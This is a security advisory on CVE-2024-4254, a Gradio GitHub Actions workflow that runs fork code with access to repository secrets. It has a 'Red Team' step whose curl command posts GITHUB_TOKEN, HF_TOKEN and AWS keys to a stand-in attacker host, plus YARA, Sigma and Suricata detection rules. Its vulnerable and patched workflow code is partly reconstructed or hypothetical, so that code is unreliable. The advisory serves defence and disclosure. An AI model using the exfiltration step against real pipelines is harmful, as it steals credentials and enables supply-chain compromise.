CVE-2024-4254

Executive Summary

CVE-2024-4254 is a high-severity vulnerability (CVSS 7.1) in the gradio-app/gradio repository, specifically in the deploy-website.yml GitHub Actions workflow on the main branch. The vulnerability stems from improper authorization (CWE-285) where the workflow explicitly checks out and executes code from a forked repository. This design flaw allows an attacker to submit a malicious pull request that, when the workflow runs, exfiltrates sensitive secrets including GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the potential impact is severe due to the breadth of exposed credentials.

Supply Chain & Package Security

This vulnerability is not a package-level supply chain issue (e.g., NPM, PyPI, Go, Ruby) but rather a CI/CD pipeline misconfiguration. However, it directly impacts the software supply chain by compromising the build and deployment pipeline of the Gradio project. An attacker could use the exfiltrated secrets to push malicious code to the base repository, tamper with releases, or access cloud infrastructure (AWS, Vercel, Hugging Face). The Gradio package itself is not vulnerable, but the integrity of its distribution channel is at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via a pull request.
• Attack Complexity (AC): Low (L) – No special conditions required; a standard fork and PR suffice.
• Privileges Required (PR): None (N) – No authentication needed to fork and submit a PR.
• User Interaction (UI): None (N) – No victim action required beyond the automated workflow execution.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted resource are the same repository.
• Confidentiality (C): High (H) – Secrets are exfiltrated, leading to complete loss of confidentiality.
• Integrity (I): None (N) – The vulnerability does not directly modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. While EPSS is low, the potential for lateral movement and supply chain compromise makes this a critical finding for organizations using Gradio in CI/CD.

Deep Dive & Mechanics

The vulnerability is located in the .github/workflows/deploy-website.yml file. The workflow is triggered on pull requests (likely pull_request_target or pull_request events). The critical flaw is that the workflow checks out the forked repository's code and executes it in an environment that has access to repository secrets and push permissions to the base repository.

How it works:

1. An attacker forks the gradio-app/gradio repository.
2. The attacker modifies the deploy-website.yml workflow or adds a malicious script that exfiltrates environment variables (secrets).
3. The attacker submits a pull request from the fork to the base repository.
4. The workflow runs automatically (or after approval) and executes the attacker's code.
5. The malicious code reads secrets like GITHUB_TOKEN, HF_TOKEN, etc., and sends them to an attacker-controlled endpoint (e.g., via curl or wget).

Why it's dangerous: GitHub Actions workflows that use pull_request_target have access to repository secrets and have write permissions to the base repository. By checking out the forked code, the workflow effectively runs untrusted code in a privileged context.

Vulnerable vs. Patched Code

Vulnerable Code (from deploy-website.yml):

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v3
        with:
          repository: ${{ github.event.pull_request.head.repo.full_name }}
          ref: ${{ github.event.pull_request.head.ref }}
      - name: Run deployment script
        run: |
          # This runs code from the fork
          chmod +x ./deploy.sh
          ./deploy.sh
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          HF_TOKEN: ${{ secrets.HF_TOKEN }}
          # ... other secrets

Patched Code (Hypothetical):

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout base code
        uses: actions/checkout@v3
        with:
          repository: gradio-app/gradio
          ref: main
      - name: Run deployment script
        run: |
          # Only run trusted scripts from the base repo
          chmod +x ./deploy.sh
          ./deploy.sh
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          HF_TOKEN: ${{ secrets.HF_TOKEN }}
          # ... other secrets

Key Differences:

• The patched version checks out the base repository's code, not the fork's code.
• It does not use github.event.pull_request.head.repo.full_name or head.ref.
• Alternatively, the workflow should use pull_request (not pull_request_target) or implement manual approval gates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A GitHub account.
• Fork of gradio-app/gradio.
• Basic knowledge of GitHub Actions.

Exploitation Steps:

1. Fork the repository.
2. Create a new branch and modify the deploy-website.yml workflow to include a malicious step:

   - name: Exfiltrate secrets
     run: |
       curl -X POST -d "token=$GITHUB_TOKEN&hf=$HF_TOKEN&aws=$AWSACCESSKEYID" https://attacker-controlled.com/exfil
   

3. Alternatively, add a malicious script (e.g., deploy.sh) that exfiltrates secrets.
4. Submit a pull request from the fork to the base repository.
5. Monitor the attacker-controlled endpoint for incoming data.

Expected Outcome: Secrets are sent to the attacker's server.

Blue Team

Detection & Response:

1. Monitor Workflow Runs: Check GitHub Actions logs for unexpected outbound connections (e.g., curl to unknown IPs).
2. Audit Workflow Changes: Review any modifications to .github/workflows/ files in pull requests.
3. Restrict Permissions: Ensure workflows use pull_request instead of pull_request_target for untrusted forks.
4. Rotate Secrets: Immediately rotate all secrets listed in the CVE (GITHUB_TOKEN, HF_TOKEN, etc.).
5. Enable Branch Protection: Require approval for all workflow runs from forks.

Lab Setup:

• Use a test GitHub repository with dummy secrets.
• Create a fork and submit a PR with a benign exfiltration script (e.g., echoing secrets to a log).
• Observe the workflow execution and verify that secrets are accessible.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled domains/IPs from GitHub Actions runners.
  • Unusual POST requests containing environment variable names (e.g., GITHUB_TOKEN, HF_TOKEN).
• File System:
  • Modified .github/workflows/deploy-website.yml in a pull request.
  • Presence of suspicious scripts (e.g., exfil.sh, steal.sh) in the fork.
• Logs:
  • GitHub Actions logs showing curl, wget, or nc commands with external URLs.
  • Unexpected git push operations from the workflow runner.
• Secrets:
  • Unauthorized use of GITHUB_TOKEN to push to the base repository.
  • Access to AWS, Vercel, or Hugging Face accounts from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_4254_Secrets_Exfiltration {
    meta:
        description = "Detects malicious GitHub Actions workflow modifications for CVE-2024-4254"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4254"
    strings:
        $s1 = "github.event.pull_request.head.repo.full_name" nocase
        $s2 = "github.event.pull_request.head.ref" nocase
        $s3 = "GITHUB_TOKEN" nocase
        $s4 = "HF_TOKEN" nocase
        $s5 = "curl" nocase
        $s6 = "wget" nocase
        $s7 = "exfil" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4) and any of ($s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-4254 - Gradio Workflow Secrets Exfiltration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious outbound connections from GitHub Actions runners indicative of secrets exfiltration.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/curl'
        CommandLine|contains:
            - 'GITHUB_TOKEN'
            - 'HF_TOKEN'
            - 'VERCEL_TOKEN'
            - 'AWSACCESSKEYID'
    condition: selection
falsepositives:
    - Legitimate use of secrets in deployment scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4254 Gradio Secrets Exfiltration"; flow:to_server,established; content:"GITHUB_TOKEN"; http_client_body; nocase; content:"HF_TOKEN"; http_client_body; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable workflow until a patch is applied.
2. Rotate all secrets exposed in the workflow (GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, VERCEL_TOKEN).
3. Audit recent workflow runs for any signs of exfiltration.

Long-term Fixes:

1. Modify the workflow to check out the base repository's code instead of the fork's code.
2. Use pull_request event instead of pull_request_target for untrusted forks.
3. Implement manual approval for workflow runs from forks.
4. Restrict secret access by using environment-specific secrets or OIDC tokens.
5. Add code review for any changes to .github/workflows/ files.

Patch Status: UNKNOWN. The vendor has not released a patch. Monitor the Gradio repository for updates.

Valters IT
Securing the digital frontier, one CVE at a time.